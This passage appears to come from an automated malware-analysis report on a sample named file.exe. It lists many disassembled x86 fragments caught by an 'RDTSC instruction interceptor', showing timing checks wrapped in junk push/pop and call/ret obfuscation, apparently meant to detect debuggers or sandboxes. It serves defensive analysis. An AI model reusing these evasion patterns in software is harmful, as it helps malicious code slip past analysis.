0x0000007e push eax 0x0000007f push edx 0x00000080 jns 00007FEBF907CE56h 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E3DB second address: 96E3E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E3E9 second address: 96E3ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E3ED second address: 96E3F3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971F9F second address: 972012 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEBF907CE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+1245A9ECh], esi 0x00000014 push 00000000h 0x00000016 pushad 0x00000017 jp 00007FEBF907CE59h 0x0000001d adc ch, FFFFFFA2h 0x00000020 ja 00007FEBF907CE5Ch 0x00000026 sbb ebx, 13096F99h 0x0000002c popad 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebp 0x00000032 call 00007FEBF907CE58h 0x00000037 pop ebp 0x00000038 mov dword ptr [esp+04h], ebp 0x0000003c add dword ptr [esp+04h], 00000018h 0x00000044 inc ebp 0x00000045 push ebp 0x00000046 ret 0x00000047 pop ebp 0x00000048 ret 0x00000049 jmp 00007FEBF907CE5Fh 0x0000004e xchg eax, esi 0x0000004f pushad 0x00000050 jmp 00007FEBF907CE5Fh 0x00000055 push eax 0x00000056 push edx 0x00000057 push ebx 0x00000058 pop ebx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 970306 second address: 97030A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9730C7 second address: 9730CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9721AA second address: 9721AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9730CB second address: 9730DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FEBF907CE5Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9721AE second address: 9721CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEBF90902F4h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9721CC second address: 9721D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973F4B second address: 973F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973F4F second address: 973F6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973F6A second address: 973F83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007FEBF90902E6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007FEBF90902E6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97332B second address: 973331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973F83 second address: 973F8D instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEBF90902E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973331 second address: 973351 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973F8D second address: 973F94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973351 second address: 973355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973355 second address: 97335F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEBF90902E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974F8A second address: 974F8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974F8E second address: 974FA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jnc 00007FEBF90902E6h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 975E07 second address: 975E6A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jnc 00007FEBF907CE5Bh 0x00000011 xor dword ptr [ebp+122D1DDDh], eax 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007FEBF907CE58h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 xchg eax, esi 0x00000036 jg 00007FEBF907CE60h 0x0000003c push eax 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FEBF907CE5Dh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 975E6A second address: 975E6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9751EA second address: 97520C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FEBF907CE5Dh 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 jo 00007FEBF907CE70h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976F28 second address: 976F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007FEBF90902E8h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 and edi, 4BAC54A1h 0x00000029 push 00000000h 0x0000002b stc 0x0000002c push edi 0x0000002d push edi 0x0000002e sub edi, dword ptr [ebp+122D22FFh] 0x00000034 pop ebx 0x00000035 pop ebx 0x00000036 push 00000000h 0x00000038 jno 00007FEBF90902ECh 0x0000003e xchg eax, esi 0x0000003f jmp 00007FEBF90902EEh 0x00000044 push eax 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976F8C second address: 976F90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 977EB4 second address: 977EBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 977EBB second address: 977EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push ebx 0x0000000b mov dword ptr [ebp+122D20E9h], edi 0x00000011 pop ebx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 jmp 00007FEBF907CE65h 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f jo 00007FEBF907CE56h 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97600D second address: 976011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976011 second address: 97601E instructions: 0x00000000 rdtsc 0x00000002 jns 00007FEBF907CE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AE3F second address: 97AE53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FEBF90902ECh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 979066 second address: 97906A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97AE53 second address: 97AE58 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97906A second address: 979074 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEBF907CE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A02B second address: 97A031 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 979074 second address: 979082 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A031 second address: 97A038 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 979082 second address: 979087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985BD1 second address: 985BDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FEBF90902E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985BDB second address: 985BDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985BDF second address: 985BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985BED second address: 985BFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE5Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985E9F second address: 985EA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985EA5 second address: 985EC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FEBF907CE64h 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9275A9 second address: 9275AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9275AF second address: 9275D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jp 00007FEBF907CE58h 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FEBF907CE5Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9275D1 second address: 9275D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98AE16 second address: 98AE1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98AE1C second address: 98AE20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991B8F second address: 991B97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991B97 second address: 991BB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEBF90902F7h 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990854 second address: 99085A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99111F second address: 991123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991123 second address: 991127 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991127 second address: 991143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FEBF90902F1h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99126E second address: 991291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEBF907CE68h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991291 second address: 991295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991295 second address: 991299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9913C3 second address: 9913CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9913CE second address: 9913DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FEBF907CE56h 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9913DF second address: 9913E9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEBF90902E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9919BE second address: 9919C8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEBF907CE5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9919C8 second address: 9919F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEBF90902F4h 0x0000000d je 00007FEBF90902F2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9919F6 second address: 991A1B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FEBF907CE67h 0x00000008 jnc 00007FEBF907CE56h 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 997434 second address: 99744C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBF90902F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9976A6 second address: 9976AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9976AC second address: 9976BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FEBF90902ECh 0x0000000c js 00007FEBF90902E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9976BE second address: 9976D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEBF907CE60h 0x00000009 jbe 00007FEBF907CE56h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9976D8 second address: 9976DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9976DC second address: 997726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007FEBF907CE63h 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push edi 0x00000017 pop edi 0x00000018 jmp 00007FEBF907CE5Eh 0x0000001d popad 0x0000001e jmp 00007FEBF907CE65h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9978D7 second address: 9978E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FEBF90902E6h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9978E6 second address: 9978F3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEBF907CE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 997BCA second address: 997BD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 pushad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 997D9D second address: 997DA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 997DA1 second address: 997DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBF90902F7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 997F1A second address: 997F23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94DF62 second address: 94DF6C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEBF90902E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D1A1 second address: 99D1A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99CBD3 second address: 99CBFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEBF90902F5h 0x0000000f js 00007FEBF90902E8h 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DBD9 second address: 99DBF5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jbe 00007FEBF907CE56h 0x00000009 jmp 00007FEBF907CE5Fh 0x0000000e pop esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DBF5 second address: 99DBFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DEE7 second address: 99DEEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DEEB second address: 99DF17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF90902EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FEBF90902F6h 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DF17 second address: 99DF1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6D92 second address: 9A6D97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C0D1 second address: 96C0E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C0E6 second address: 96C0EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C0EA second address: 96C0EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C0EE second address: 96C123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 mov edx, dword ptr [ebp+122D2BC5h] 0x0000000e lea eax, dword ptr [ebp+1248FE36h] 0x00000014 mov dl, 02h 0x00000016 push eax 0x00000017 pushad 0x00000018 jmp 00007FEBF90902F9h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C750 second address: 96C756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C979 second address: 96C983 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C983 second address: 96C987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C987 second address: 96C98B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96CA3F second address: 96CA49 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEBF907CE5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
